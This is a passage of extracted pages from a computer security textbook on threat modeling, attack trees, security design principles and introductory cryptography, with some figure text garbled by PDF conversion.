from parties having some starting advantage, e.g., employees with physical access or
network credentials as legitimate users.
The line between outsiders and insiders can be fuzzy, for example when an outsider some-
how gains access to an internal machine and uses it to attack further systems.
S CHEMAS . Various schemas are used in modeling adversaries. A categorical schema
classifies adversaries into named groups, as given in Table 1.2. A capability-level schema
groups generic adversaries based on a combination of capability (opportunity and re-
sources) and intent (motivation), say from Level 1 to 4 (weakest to strongest). This may
also be used to sub-classify named groups. For example, intelligence agencies from the
U.S. and China may be in Level 4, insiders could range from Level 1 to 4 based on their
capabilities, and novice crackers may be in Level 1. It is also useful to distinguish tar-
geted attacks aimed at specific individuals or organizations, from opportunistic attacks or
generic attacks aimed at arbitrary victims. Targeted attacks may either use generic tools
or leverage target-specific personal information.
S ECURITY EVALUATIONS AND PENETRATION TESTING . Some government de-
partments and other organizations may require that prior to purchase or deployment, prod-
ucts be certified through a formal security evaluation process. This involves a third party
lab reviewing, at considerable cost and time, the final form of a product or system, to
verify conformance with detailed evaluation criteria as specified in relevant standards; as
a complication, recertification is required once even the smallest changes are made. In
contrast, self-assessments through penetration testing (pen testing) involve customers or
hired consultants (with prior permission) finding vulnerabilities in deployed products by
demonstrating exploits on their own live systems; interactive and automated toolsets run
attack suites that pursue known design, implementation and configuration errors compiled
from previous experience. Traditional pen testing is black-box, i.e., proceeds without use
of insights from design documents or source code; use of such information (making it
white-box) increases the chances of finding vulnerabilities and allows tighter integration
with overall security analysis. Note that tests carried out by product vendors prior to prod-
uct release, including common regression testing, remain important but cannot find issues
arising from customer-specific configuration choices and deployment environments.
1.5. Threat modeling: diagrams, trees, lists and STRIDE 11
architectural
a@ack trees
diagrams
threat
þ model Spoofing
Tampering
þ checklists STRIDE Repudia<on
Informa<on disclosure
þ Denial of service
Escala<on of privilege
Figure 1.5: Examples of threat modeling approaches.
Ch.10. Firewall architecture including DMZ (perimeter network). Two screening routers are
used, one internet-facing and one internal. The GW firewall proxy/host could be the GW in
the filter rules Table 1, most exposed so should be basIon host. A host (5) may connect to
Internet services by proxy through GW, and possibly directly through the exterior router (1)
for outgoing connecIons only on a reduced set of packet-filtered protocols.
1.5. Threat modeling: diagrams, trees, lists and STRIDE 13
tree
a'ack goal enter house
root
a'ack vector
or or
by window by door by tunnel
unlocked locked
and
li; use glass with suc<on li;er leaf
sash cu'er remove cut glass nodes
Figure 1.8: Attack tree. An attack vector is a full path from root to leaf.
Ch.1. A'ack tree.
different vectors. Multiple children of a node (Fig. 1.8) are by default distinct alternatives
(logical OR nodes); however, a subset of nodes at a given level can be marked as an
AND set, indicating that all are jointly necessary to meet the parent goal. Nodes can be
annotated with various details—e.g., indicating a step is infeasible, or by values indicating
costs or other measures. The attack information captured can be further organized, often
suggesting natural classifications of attack vectors into known categories of attacks.
The main output is an extensive (but usually incomplete) list of possible attacks, e.g.,
Figure 1.9. The attack paths can be examined to determine which ones pose a risk in the
real system; if the circumstances detailed by a node are for some reason infeasible in the
target system, the path is marked invalid. This helps maintain focus on the most relevant
threats. Notice the asymmetry: an attacker need only find one way to break into a system,
while the defender (security architect) must defend against all viable attacks.
An attack tree can help in forming a security policy, and in security analysis to check
that mechanisms are in place to counter all identified attack vectors, or explain why par-
ticular vectors are infeasible for relevant adversaries of the target system. Attack vectors
identified may help determine the types of defensive measures needed to protect specific
assets from particular types of malicious actions. Attack trees can be used to prioritize
vectors as high or low, e.g., based on their ease, and relevant classes of adversary.
The attack tree methodology encourages a form of directed brainstorming, adding
structure to what is otherwise an ad hoc task. The process benefits from a creative mind.
It requires a skill that improves with experience. The process is also best used iteratively,
with a tree extended as new attacks are identified on review by colleagues, or merged
with trees independently constructed by others. Attack trees motivate security architects
to “think like attackers”, to better defend against them.
Example (Enumerating password authentication attacks). To construct a list of at-
tacks on password authentication, one might draw a data flow diagram showing a pass-
word’s end-to-end paths, then identify points where an attacker might try to extract infor-
mation. An alternative approach is to build an attack tree, with root goal to gain access
to a user’s account on a given system. Which method is used is a side detail towards the
desired output: a list of potential attacks to consider further (Figure 1.9).
‡Exercise (Free-lunch attack tree). Read the article by Mauw [12], for a fun example
of an attack tree. As supplementary reading see attack-defense trees by Kordy [10].
1.5. Threat modeling: diagrams, trees, lists and STRIDE 15
Both can result from failing to adapt to changes in technology and attack capabilities.
Model assumptions can also be wrong, i.e., fail to accurately represent a target system, due
to incomplete or incorrect information, over-simplification, or loss of important details
through abstraction. Another issue is failure to record assumptions explicitly—implicit
assumptions are rarely scrutinized. Focusing attention on the wrong threats may mean
wasting effort on threats of lower probability or impact than others. This can result not
only from unrealistic assumptions but also from: inexperience or lack of knowledge, fail-
ure to consider all possible threats (incompleteness), new vulnerabilities due to computer
system or network changes, or novel attacks. It is easy to instruct someone to defend
against all possible threats; anticipating the unanticipated is more difficult.
W HAT ’ S YOUR THREAT MODEL . Ideally, threat models are built using both prac-
tical experience and analytical reasoning, and continually adapted to inventive attackers
who exploit rapidly evolving software systems and technology. Perhaps the most impor-
tant security analysis question to always ask is: What’s your threat model? Getting the
threat model wrong—or getting only part of it right—allows many successful attacks in
the real world, despite significant defensive expenditures. We give a few more examples.
Example (Online trading fraud). A security engineer models attacks on an online
stock trading account. To stop an attacker from extracting money, she disables the ability
to directly remove cash from such accounts, and to transfer funds across accounts. The
following attack nonetheless succeeds. An attacker X breaks into a victim account by
obtaining its userid and password, and uses funds therein to bid up the price of a thinly
traded stock, which X has previously purchased at lower cost on his own account. Then
X sells his own shares of this stock, at this higher price. The victim account ends holding
the higher-priced shares, bought on the (manipulated) open market.
Example (Phishing one-time passwords). Some early online banks used one-time
passwords, sharing with each account holder a sheet containing a list of unique passwords
to be used once each from top to bottom, and crossed off upon use—to prevent repeated
use of passwords stolen (e.g., by phishing or malicious software). Such schemes have
nonetheless been defeated by tricking users to visit a fraudulent version of a bank web site,
and requesting entry of the next five listed passwords “to help resolve a system problem”.
The passwords entered are used once each on the real bank site, by the attacker. (Chapter
3 discusses one-time passwords and the related mechanism of passcode generators.)
Example (Bypassing perimeter defenses). In many enterprise environments, corpo-
rate gateways and firewalls selectively block incoming traffic to protect local networks
from the external Internet. This provides no protection from employees who, bypassing
such perimeter defenses, locally install software on their computers, or directly connect
by USB port memory tokens or smartphones for synchronization. A well-known attack
vector exploiting this is to sprinkle USB tokens (containing malicious software) in the
parking lot of a target company. Curious employees facilitate the rest of the attack.
D EBRIEFING . What went wrong in the above examples? The assumptions, the threat
model, or both, were incorrect. Invalid assumptions or a failure to accurately model the
operational environment can undermine what appears to be a solid model, despite convinc-
ing security arguments and mathematical proofs. One common trap is failing to validate
18 Chapter 1. Security Concepts and Principles
assumptions: if a security proof relies on assumption A (e.g., hotel staff are honest), then
the logical correctness of the proof (no matter how elegant!) does not provide protection
if in the current hotel, A is false. A second is that a security model may truly provide a
100% guarantee that all attacks it considers are precluded by a given defense, while in
practice the modeled system is vulnerable to attacks that the model fails to consider.
I TERATIVE PROCESS : EVOLVING THREAT MODELS . As much art as science,
threat modeling is an iterative process, requiring continual adaptation to more complete
knowledge, new threats and changing conditions. As environments change, static threat
models become obsolete, failing to accurately reflect reality. For example, many Internet
security protocols are based on the original Internet threat model, which has two core
assumptions: (1) endpoints, e.g., client and server machine, are trustworthy; and (2) the
communications link is under attacker control (e.g., subject to eavesdropping, message
modification, message injection). This follows the historical cryptographer’s model for
securing data transmitted over unsecured channels in a hostile communications environ-
ment. However, assumption (1) often fails in today’s Internet where malware (Chapter 7)
has compromised large numbers of endpoint machines.
Example (Hard and soft keyloggers). Encrypting data between a client machine and
server does not protect against malicious software that intercepts keyboard input, and
relays it to other machines electronically. The hardware variation is a small, inexpensive
memory device plugged in between a keyboard cable and a computer, easily installed and
removed by anyone with occasional brief office access, such as cleaning staff.
1.6.2 Tying security policy back to real outcomes and security analysis
Returning to the big picture, we now pause to consider: How does “security” get tied back
to “security policy”, and how does this relate to threat models and security mechanisms?
O UTCOME SCENARIOS . Security defenses and mechanisms (means to implement
defenses) are designed and used to support security policies and services as in Fig. 1.1.
Consider the following outcomes relating defenses to security policies.
1. The defenses fail to properly support the policy; the security goal is not met.
2. The defenses succeed in preventing policy violations, and the policy is complete in the
sense of fully capturing an organization’s security requirements. The resulting system
is “secure” (both relative to the formal policy and real-world expectations).
3. The formal policy fails to fully capture actual security requirements. Here, even if
defenses properly support policy (attaining “security” relative to it), the common-sense
definition of security is not met, e.g., if an unanticipated simple attack still succeeds.
The third case motivates the following advice: Whenever ambiguous words like “secure”
and “security” are used, request that their intended meaning and context be clarified.
S ECURITY ANALYSIS AND KEY QUESTIONS . Figure 1.10 provides overall con-
text for the iterative process of security design and analysis. It may proceed as follows.
Identify the valuable assets. Determine suitable forms of protection to counter identified
threats and vulnerabilities; adversary modeling and threat modeling help here. This helps
1.6. Model-reality gaps and real-world outcomes 19
refine security requirements, shaping the security policy, which in turn shapes system de-
sign. Security mechanisms that can support the policy in the target environment are then
selected. As always, key questions help:
• What assets are valuable? (Alternatively: what are your protection goals?)
• What potential attacks put them at risk?
• How can potentially damaging actions be stopped or otherwise managed?
Options to mitigate future damage include not only attack prevention by countermeasures
that preclude (or reduce the likelihood of) attacks successfully exploiting vulnerabilities,
but also detection, real-time response, and recovery after the fact. Quick recovery can
reduce impact. Consequences can also be reduced by insurance (Section 1.3).
T ESTING IS NECESSARILY INCOMPLETE . Once a system is designed and imple-
mented, how do we test that the protection measures work and that the system is “se-
cure”? (Here you should be asking: What definition of “secure” are you using?) How to
test whether security requirements have been met remains without a satisfactory answer.
Section 1.4 mentioned security analysis (often finding design flaws), third-party security
evaluation, and pen testing (often finding implementation and configuration flaws). Using
checklist ideas from threat modeling, testing can be done based on large collections of
common flaws, as a form of security-specific regression testing; specific, known attacks
can be compiled and attempted under controlled conditions, to see whether a system suc-
cessfully withstands them. This of course leaves unaddressed attacks not yet foreseen or
invented, and thus difficult to include in tests. Testing is also possible only for certain
classes of attacks. Assurance is thus incomplete, and often limited to well-defined scopes.
S ECURITY IS UNOBSERVABLE . In regular software engineering, verification in-
volves testing specific features for the presence of correct outcomes given particular in-
puts. In contrast, security testing would ideally also confirm the absence of exploitable
20 Chapter 1. Security Concepts and Principles
flaws. This may be called a negative goal, among other types of non-functional goals.
To repeat: we want not only to verify that expected functionality works as planned, but
also that exploitable artifacts are absent. This is not generally possible—aside from the
difficulty of proving properties of software at scale, the universe of potential exploits is
unknown. Traditional functional and feature testing cannot show the absence of problems;
this distinguishes security. Security guarantees may also evaporate due to a small detail
of one component being updated or reconfigured. A system’s security properties are thus
difficult to predict, measure, or see; we cannot observe security itself or demonstrate it,
albeit on observing undesirable outcomes we know it is missing. Sadly, not observing bad
outcomes does not imply security either—bad things that are unobservable could be la-
tent, or be occurring unnoticed. The security of a computer system is not a testable feature,
but rather is said (unhelpfully) to be emergent—resulting from the complex interaction of
elements that compose an entire system.
A SSURANCE IS DIFFICULT, PARTIAL . So then, what happens in practice? Evalua-
tion criteria are altered by experience, and even thorough security testing cannot provide
100% guarantees. In the end, we seek to iteratively improve security policies, and likewise
confidence that protections in place meet security policy and/or requirements. Assurance
of this results from sound design practices, testing for common flaws and known attacks
using available tools, formal modeling of components where suitable, ad hoc analysis, and
heavy reliance on experience. The best lessons often come from attacks and mistakes.
might do likewise. The goal is to minimize the number of interfaces, simplify their
design (to reduce the number of ways they might be abused), minimize external ac-
cess to them, and restrict such access to authorized parties. Importantly, security
mechanisms themselves should not introduce new exploitable attack surfaces.
P2 SAFE - DEFAULTS : Use safe default settings (beware, defaults often go unchanged).
For access control, deny-by-default. Design services to be fail-safe, here meaning
that when they fail, they fail “closed” (e.g., denying access). As a method, use explicit
inclusion via allowlists (goodlists) of authorized entities with all others denied, rather
than exclusion via denylists (badlists) that would allow all those unlisted.
NOTE . A related idea, e.g., for data sent over real-time links, is to encrypt by
default using opportunistic encryption—encrypting session data whenever supported
by the receiving end. In contrast, default encryption is not generally recommended in
all cases for stored data, as the importance of confidentiality must be weighed against
the complexity of long-term key management and the risk of permanent loss of data
if encryption keys are lost; for session data, immediate decryption upon receipt at the
endpoint recovers cleartext.
P3 OPEN - DESIGN : Do not rely on secret designs, attacker ignorance, or security by ob-
scurity. Invite and encourage open review and analysis. For example, the Advanced
Encryption Standard was selected from a set of public candidates by open review;
undisclosed cryptographic algorithms are now widely discouraged. Without contra-
dicting this, leverage unpredictability where advantageous, as arbitrarily publicizing
tactical defense details is rarely beneficial (there is no gain in advertising to thieves
that you are on vacation, or posting house blueprints); and beware exposing error
messages or timing data that vary based on secret values, lest they leak the secrets.
NOTE . P3 is often paired with P9, and follows Kerckhoffs’ principle—a system’s
security should not rely on the secrecy of its design details.
P4 COMPLETE - MEDIATION : For each access to every object, and ideally immediately
before the access is to be granted, verify proper authority. Verifying authorization
requires authentication (corroboration of an identity), checking that the associated
principal is authorized, and checking that the request has integrity (it must not be
modified after being issued by the legitimate party—cf. P19).
P5 ISOLATED - COMPARTMENTS : Compartmentalize system components using strong
isolation structures (containers) that manage or prevent cross-component commu-
nication, information leakage, and control. This limits damage when failures occur,
and protects against escalation of privileges (Chapter 6); P6 and P7 have similar mo-
tivations. Restrict authorized cross-component communication to observable paths
with defined interfaces to aid mediation, screening, and use of chokepoints. Exam-
ples of containment means include: process and memory isolation, disk partitions,
virtualization, software guards, zones, gateways and firewalls.
NOTE . Sandbox is a term used for mechanisms offering some form of isolation.
P6 LEAST- PRIVILEGE: Allocate the fewest privileges needed for a task, and for the
shortest duration necessary. For example, retain superuser privileges (Chapter 5)
22 Chapter 1. Security Concepts and Principles
only for actions requiring them; drop and reacquire privileges if needed later. Do not
use a Unix root account for tasks where regular user privileges suffice. This reduces
exposure, and limits damage from the unexpected. P6 complements P5 and P7.
NOTE . This principle is related to the military need-to-know principle—access to
sensitive information is granted only if essential to carrying out one’s official duties.
P7 MODULAR - DESIGN: Avoid monolithic designs that embed full privileges into large
single components; favor object-oriented and finer-grained designs that segregate
privileges (including address spaces) across smaller units or processes. P6 guides
more on the use of privilege frameworks, P7 more on designing base architectures.
NOTE . A related financial accounting principle is separation of duties, whereby co-
dependent tasks are assigned to independent parties so that an insider attack requires
collusion. This also differs from requiring multiple authorizations from distinct par-
ties (e.g., two keys or signatures to open a safety-deposit box or authorize large-
denomination cheques), a generalization of which is thresholding of privileges—
requiring k of t parties (2 ≤ k ≤ t) to authorize an action.
P8 SMALL - TRUSTED - BASES: Strive for small code size in components that must be
trusted, i.e., components on which a larger system strongly depends for security. For
example, high-assurance systems centralize critical security services in a minimal
core operating system microkernel (cf. Chapter 5 end notes), whose smaller size al-
lows efficient concentration of security analysis.
NOTE . A related minimize-secrets principle is: Secrets should be few in number.
Benefits include reducing management complexity. Cryptographic algorithms use a
different form of trust reduction, and separate mechanism from secret; note that a
secret key is changeable at far less cost than the cryptographic algorithm itself.
P9 TIME - TESTED - TOOLS: Rely wherever possible on time-tested, expert-built security
tools including protocols, cryptographic primitives and toolkits, rather than designing
and implementing your own. History shows that security design and implementation
is difficult to get right even for experts; thus amateurs are heavily discouraged (don’t
reinvent a weaker wheel). Confidence increases with the length of time mechanisms
and tools have survived under load (sometimes called soak testing).
NOTE . The underlying reasoning here is that a widely used, heavily scrutinized
mechanism is less likely to retain flaws than many independent, scantly reviewed im-
plementations (cf. P3). Thus using well-known crypto libraries (e.g., OpenSSL) is
encouraged. Less understood is an older least common mechanism principle: mini-
mize the number of mechanisms (shared variables, files, system utilities) shared by
two or more programs and depended on by all. It recognizes that interdependencies
increase risk; code diversity can reduce impacts of single flaws.
P10 LEAST- SURPRISE: Design mechanisms, and their user interfaces, to behave as users
expect. Align designs with users’ mental models of their protection goals, to reduce
user mistakes that compromise security. Especially where errors are irreversible (e.g.,
sending confidential data or secrets to outside parties), tailor to the experience of
target users; beware designs suited to experts but triggering mistakes by ordinary
1.7. ‡Design principles for computer security 23
trust from a base point (such as a trust anchor in a browser certificate chain, Chapter
8). More generally, verify trust assumptions where possible, with extra diligence at
registration, initialization, software installation, and starting points in the lifecycle of
a software application, security key or credential.
P18 INDEPENDENT- CONFIRMATION: Use simple, independent (e.g., local device) cross-
checks to increase confidence in code or data, especially if it may arrive from outside
domains or over untrusted channels. Example: integrity of downloaded software ap-
plications or public keys can be confirmed (Chapter 8) by comparing a locally com-
puted cryptographic hash (Chapter 2) of the item to a “known-good” hash obtained
over an independent channel (voice call, text message, widely trusted site).
P19 REQUEST- RESPONSE - INTEGRITY: Verify that responses match requests in name res-
olution and other distributed protocols. Their design should include cryptographic
integrity checks that bind steps to each other within a given transaction or protocol
run to detect unrelated or substituted responses; beware protocols lacking authenti-
cation. Example: a certificate request specifying a unique subject name or domain
expects in response a certificate for that subject; this field in the response certificate
should be cross-checked against the request.
P20 RELUCTANT- ALLOCATION: Be reluctant to allocate resources or expend effort in
interactions with unauthenticated, external agents. For services open to all parties,
design to mitigate intentional resource consumption. Place a higher burden of effort
on agents that initiate an interaction. (A party initiating a phone call should not be
the one to demand: Who are you? When possible, authenticate. Related: processes
should beware abuse as a conduit extending their privileges to unverified agents.)
NOTE . P20 largely aims to avoid denial of service attacks (Chapter 11). P3 also
recommends reluctance, in that case to releasing system data useful to attackers.
We also include two higher-level principles and a maxim.
HP1 SECURITY- BY- DESIGN: Build security in, starting at the initial design stage of a
development cycle, since secure design often requires core architectural support ab-
sent if security is a late-stage add-on. Explicitly state the design goals of security
mechanisms and what they are not designed to do, since it is impossible to evaluate
effectiveness without knowing goals. In design and analysis documents, explicitly
state all security-related assumptions, especially related to trust and trusted parties
(supporting P17); note that a security policy itself might not specify assumptions.
HP2 DESIGN - FOR - EVOLUTION: Design base architectures, mechanisms, and protocols
to support evolution, including algorithm agility for graceful upgrades of crypto
algorithms (e.g., encryption, hashing) with minimal impact on related components.
Support automated secure software update where possible. Regularly re-evaluate
the effectiveness of security mechanisms, in light of evolving threats, technology,
and architectures; be ready to update designs and products as needed.
V ERIFY FIRST. The diplomatic maxim “trust but verify” suggests that given assertions
by foreign diplomats whom you don’t actually trust, one should feign trust while silently
1.8. ‡Why computer security is hard 25
cross-checking for yourself. In computer security, the rule is: verify first (before trust-
ing). Design principles related to this idea include: COMPLETE - MEDIATION (P4), DATA -
TYPE - VALIDATION (P15), TRUST- ANCHOR - JUSTIFICATION (P17), and INDEPENDENT-
CONFIRMATION (P18).
10. market economics and stakeholders: market forces often hinder allocations that im-
prove security, e.g., stakeholders in a position to improve security, or who would bear
the cost of deploying improvements, may not be those who would gain benefit.
11. features beat security: while it is well accepted that complexity is the enemy of secu-
rity (cf. P1), little market exists for simpler products with reduced functionality.
12. low cost beats quality: low-cost low-security wins in “market for lemons” scenar-
ios where to buyers, high-quality software is indistinguishable from low (other than
costing more); and when software sold has no liability for consequential damages.
13. missing context of danger and losses: cyberspace lacks real-world context cues and
danger signals to guide user behavior, and consequences of security breaches are often
not immediately visible nor linkable to the cause (i.e., the breach itself).
14. managing secrets is difficult: core security mechanisms often rely on secrets (e.g.,
crypto keys and passwords), whose proper management is notoriously difficult and
costly, due to the nature of software systems and human factors.
15. user non-compliance (human factors): users bypass or undermine computer security
mechanisms that impose inconveniences without visible direct benefits (in contrast:
physical door locks are also inconvenient, but benefits are understood).
16. error-inducing design (human factors): it is hard to design security mechanisms
whose interfaces are intuitive to learn, distinguishable from interfaces presented by
attackers, induce the desired human actions, and resist social engineering.
17. non-expert users (human factors): whereas users of early computers were technical
experts or given specialized training under enterprise policies, today many are non-
experts without formal training or any technical computer background.
18. security not designed in: security was not an original design goal of the Internet
or computers in general, and retro-fitting it as an add-on feature is costly and often
impossible without major redesign (see principle HP1).
19. introducing new exposures: the deployment of a protection mechanism may itself
introduce new vulnerabilities or attack vectors.
20. government obstacles: government desire for access to data and communications
(e.g., to monitor criminals, or spy on citizens and other countries), and resulting poli-
cies, hinders sound protection practices such as strong encryption by default.
We end by noting that this is but a partial list! Rather than being depressed by this, as op-
timists we see a great opportunity—in the many difficulties that complicate computer se-
curity, and in technology trends suggesting challenges ahead as critical dependence on the
Internet and its underlying software deepens. Both emphasize the importance of under-
standing what can go wrong when we combine people, computing and communications
devices, and software-hardware systems.
We use computers and mobile devices every day to work, communicate, gather in-
formation, make purchases, and plan travel. Our cars rely on software systems—as do
our airplanes. (Does this worry you? What if the software is wirelessly updated, and the
source of updates is not properly authenticated?) The business world comes to a standstill
1.9. ‡End notes and further reading 27
when Internet service is disrupted. Our critical infrastructure, from power plants and elec-
tricity grids to water supply and financial systems, is dependent on computer hardware,
software and the Internet. Implicitly we expect, and need, security and dependability.
Perhaps the strongest motivation for individual students to learn computer security
(and for parents and friends to encourage them to do so) is this: security expertise may
be today’s very best job-for-life ticket, as well as tomorrow’s. It is highly unlikely that
software and the Internet itself will disappear, and just as unlikely that computer security
problems will disappear. But beyond employment for a lucky subset of the population,
having a more reliable, trustworthy Internet is in the best interest of society as a whole.
The more we understand about the security of computers and the Internet, the safer we
can make them, and thereby contribute to a better world.
‡The double-dagger symbol denotes sections that may be skipped on first reading, or by instructors using
the book for time-constrained courses.
References (Chapter 1)
[1] G. A. Akerlof. The market for “lemons”: Quality uncertainty and the market mechanism. The Quarterly
Journal of Economics, 84(3):488–500, August 1970.
[2] E. Amoroso. Fundamentals of Computer Security Technology. Prentice Hall, 1994. Includes author’s
list of 25 Greatest Works in Computer Security.
[3] A. Avizienis, J. Laprie, B. Randell, and C. E. Landwehr. Basic concepts and taxonomy of dependable
and secure computing. ACM Trans. Inf. Systems and Security, 1(1):11–33, 2004.
[4] R. G. Bace. Intrusion Detection. Macmillan, 2000.
[5] R. W. Baldwin. Rule Based Analysis of Computer Security. PhD thesis, MIT, Cambridge, MA, June
1987. Describes security checkers called Kuang systems, and in particular one built for Unix.
[6] D. Basin, P. Schiller, and M. Schläpfer. Applied Information Security. Springer, 2011.
[7] D. Gollmann. Computer Security (3rd edition). John Wiley, 2011.
[8] M. Howard and D. LeBlanc. Writing Secure Code (2nd edition). Microsoft Press, 2002.
[9] A. Jaquith. Security Metrics: Replacing Fear, Uncertainty, and Doubt. Addison-Wesley, 2007.
[10] B. Kordy, S. Mauw, S. Radomirovic, and P. Schweitzer. Foundations of attack-defense trees. In Formal
Aspects in Security and Trust 2010, pages 80–95. Springer LNCS 6561 (2011).
[11] J. Lowry, R. Valdez, and B. Wood. Adversary modeling to develop forensic observables. In Digital
Forensics Research Workshop (DFRWS), 2004.
[12] S. Mauw and M. Oostdijk. Foundations of attack trees. In Information Security and Cryptology (ICISC
2005), pages 186–198. Springer LNCS 3935 (2006).
[13] NIST. Special Pub 800-30 rev 1: Guide for Conducting Risk Assessments. U.S. Dept. of Commerce,
September 2012.
[14] D. B. Parker. Risks of risk-based security. Comm. ACM, 50(3):120–120, March 2007.
[15] C. P. Pfleeger and S. L. Pfleeger. Security in Computing (4th edition). Prentice Hall, 2006.
[16] E. Rescorla. SSL and TLS: Designing and Building Secure Systems. Addison-Wesley, 2001.
[17] J. H. Saltzer and M. F. Kaashoek. Principles of Computer System Design. Morgan Kaufmann, 2010.
[18] J. H. Saltzer and M. D. Schroeder. The protection of information in computer systems. Proceedings of
the IEEE, 63(9):1278–1308, September 1975.
[19] A. Shostack. Threat Modeling: Designing for Security. John Wiley and Sons, 2014.
[20] R. E. Smith. A contemporary look at Saltzer and Schroeder’s 1975 design principles. IEEE Security &
Privacy, 10(6):20–25, 2012.
[21] W. Stallings and L. Brown. Computer Security: Principles and Practice (3rd edition). Pearson, 2015.
28
Computer Security and the Internet: Tools and Jewels (2e)
Chapter 2
Cryptographic Building Blocks
Copyright
2020-2022
c Paul C. van Oorschot. Under publishing license to Springer.
This chapter introduces basic cryptographic mechanisms that serve as foundational build-
ing blocks for computer security: symmetric-key and public-key encryption, public-key
digital signatures, hash functions, and message authentication codes. Other mathematical
and crypto background is deferred to specific chapters as warranted by context. For exam-
ple, Chapter 3 provides background on (Shannon) entropy and one-time password hash
chains, while Chapter 4 covers authentication protocols and key establishment includ-
ing Diffie-Hellman key agreement. Digital certificates are introduced here briefly, with
detailed discussion delayed until Chapter 8.
If computer security were house-building, cryptography might be the electrical wiring
and power supply. The framers, roofers, plumbers, and masons must know enough to not
electrocute themselves, but need not understand the finer details of wiring the main panel-
board, nor all the electrical footnotes in the building code. However, while our main
focus is not cryptography, we should know the best tools available for each task. Many
of our needs are met by understanding the properties and interface specifications of these
tools—in this book, we are interested in their input-output behavior more than internal
details. We are more interested in helping readers, as software developers, to properly use
cryptographic toolkits, than to build the toolkits, or design the algorithms within them.
We also convey a few basic rules of thumb. One is: do not design your own crypto-
graphic protocols or algorithms.1 Plugging in your own desk lamp is fine, but leave it to a
master electrician to upgrade the electrical panel.
30
2.1. Encryption and decryption (generic concepts) 31
Alice Bob
plaintext
m m = Dk’(c)
key k E D k’
c = Ek(m) c
ciphertext
Figure 2.1: Generic encryption (E) and decryption (D). For symmetric encryption, E and
D use the same shared (symmetric) key k = k0 , and are thus inverses under that parameter;
one is sometimes called the “forward” algorithm, the other the “inverse”. The original
Internet threat model (Chapter 1) and conventional cryptographic model assume that an
adversary has no access to endpoints. This is false if malware infects user machines.
Ch.2. Generic encryp.on (E) and decryp.on (D). For the case of symmetric-key
encryp.on, E and D use the same shared (symmetric) key $k = k ^ \prime$,
G ENERIC ENCRYPTION NOTATION . Let m denote a plaintext message, c the cipher-
E and D are inverses under that parameter, and one of the pair is
text, and Ek , Dk0 the encryption, decryption algorithms parameterized by symmetric keys
some.mes denoted a “forward” algorithm”, the other a “reverse”.
k, k0 respectively. We describe encryption and decryption with equations (Figure 2.1):
Exercise (Caesar cipher). Caesar’s famous cipher was rather simple. The encryption
algorithm simply substituted each alphabetic plaintext character by that occurring three
letters later in the alphabet. Describe the algorithms E and D of the Caesar cipher mathe-
matically. What is the cryptographic key? How many other keys could be chosen?
In the terminology of mathematicians, we can describe an encryption-decryption sys-
tem (cryptosystem) to consist of: a set P of possible plaintexts, set C of possible ci-
phertexts, set K of keys, an encryption mapping E: (P × K ) → C and corresponding
decryption mapping D: (C × K ) → P . But such notation makes it all seem less fun.
E XHAUSTIVE KEY SEARCH . We rely on cryptographers to provide “good” algo-
rithms E and D. A critical property is that it be infeasible to recover m from c without
knowledge of k0 . The best an adversary can then do, upon intercepting a ciphertext c, is
to go through all keys k from the key space K , parameterizing D with each k sequentially,
computing each Dk (c) and looking for some meaningful result; we call this an exhaustive
key search. If there are no algorithmic weaknesses, then no algorithmic “shortcut” attacks
2 This follows the OPEN - DESIGN principle P3 from Chapter 1.
32 Chapter 2. Cryptographic Building Blocks
exist, and the whole key space must be tried. More precisely, an attacker of average luck
is expected to come across the correct key after trying half the key space; so, if the keys
are strings of 128 bits, then there are 2128 keys, with success expected after 2127 trials.
This number is so large that we will all be long dead (and cold!)3 before the key is found.
Example (DES key space). The first cipher widely used in industry was DES, stan-
dardized by the U.S. government in 1977. Its key length of 56 bits yields 256 possible
keys. To visualize key search on a space this size, imagine keys as golf balls, and a 2400-
mile super-highway from Los Angeles to New York, 316 twelve-foot lanes wide and 316
lanes tall. Its entire volume is filled with white golf balls, except for one black ball. Your
task: find the black ball, viewing only one ball at a time. (By the way, DES is no longer
used, as modern processors make exhaustive key search of spaces of this size too easy!)
‡C IPHER ATTACK MODELS .4 In a ciphertext-only attack, an adversary tries to re-
cover plaintext (or the key), given access to ciphertext alone. Other scenarios, more fa-
vorable to adversaries, are sometimes possible, and are used in evaluation of encryption
algorithms. In a known-plaintext attack, given access to some ciphertext and its corre-
sponding plaintext, adversaries try to recover unknown plaintext (or the key) from further
ciphertext. A chosen-plaintext situation allows adversaries to choose some amount of
plaintext and see the resulting ciphertext. Such additional control may allow advanced
analysis that defeats weaker algorithms. Yet another attack model is a chosen-ciphertext
attack; here for a fixed key, attackers can provide ciphertext of their choosing, and receive
back the corresponding plaintext; the game is to again deduce the secret key, or other in-
formation sufficient to decrypt new ciphertext. An ideal encryption algorithm resists all
these attack models, ruling out algorithmic “shortcuts”, leaving only exhaustive search.
PASSIVE VS . ACTIVE ADVERSARY. A passive adversary observes and records, but
does not alter information (e.g., ciphertext-only, known-plaintext attacks). An active ad-
versary interacts with ongoing transmissions, by injecting data or altering them, or starts
new interactions with legitimate parties (e.g., chosen-plaintext, chosen-ciphertext attacks).
tested per second, the time to find the correct 128-bit key would exceed 217 = 128, 000 lifetimes of the sun.
Nonetheless, for SUFFICIENT- WORK - FACTOR (P12), and mindful that serious attackers harness enormous
numbers of processors in parallel, standards commonly recommend symmetric keys be at least 128 bits.
4 The symbol ‡ denotes research-level items, or notes that can be skipped on first reading.
2.2. Symmetric-key encryption and decryption 33
Figure 2.3: AES interface (block cipher example). For a fixed key k, a block cipher
with n-bit blocklength is a permutation that maps each of 2n possible input blocks to a
Ch.2. AES input-output interfaces, as an example of a block cipher.
unique n-bit output block, and the inverse (or decrypt) mode does the reverse mapping (as
required to recover the plaintext). Ideally, each k defines a different permutation.
a key space so small that all keys can be tested in available time, or keys being covertly
accessed in memory. Exhaustive key-guessing attacks require an automated method to
signal when a key-guess is correct; this may be done using known plaintext-ciphertext
pairs, or by recognizing redundancy, e.g., ASCII coding in a decrypted bitstream.
S TREAM CIPHERS . The Vernam cipher is an example of a stream cipher, which in
simplest form, involves generating a keystream simply XOR’d onto plaintext bits; decryp-
tion involves XORing the ciphertext with the same keystream. In contrast to block ciphers
(below), there are no requirements that the plaintext length be a multiple of, e.g., 128 bits.
Thus stream ciphers are suitable when there is a need to encrypt plaintext one bit or one
character at a time, e.g., user-typed characters sent to a remote site in real time. A sim-
plified view of stream ciphers is that they turn a fixed-size secret (symmetric key) into an
arbitrary-length secret keystream unpredictable to adversaries. The mapping of the next
plaintext bit to ciphertext is a position-varying transformation dependent on the input key.
B LOCK CIPHERS , BLOCKLENGTH , KEY SIZE . A second class of symmetric ci-
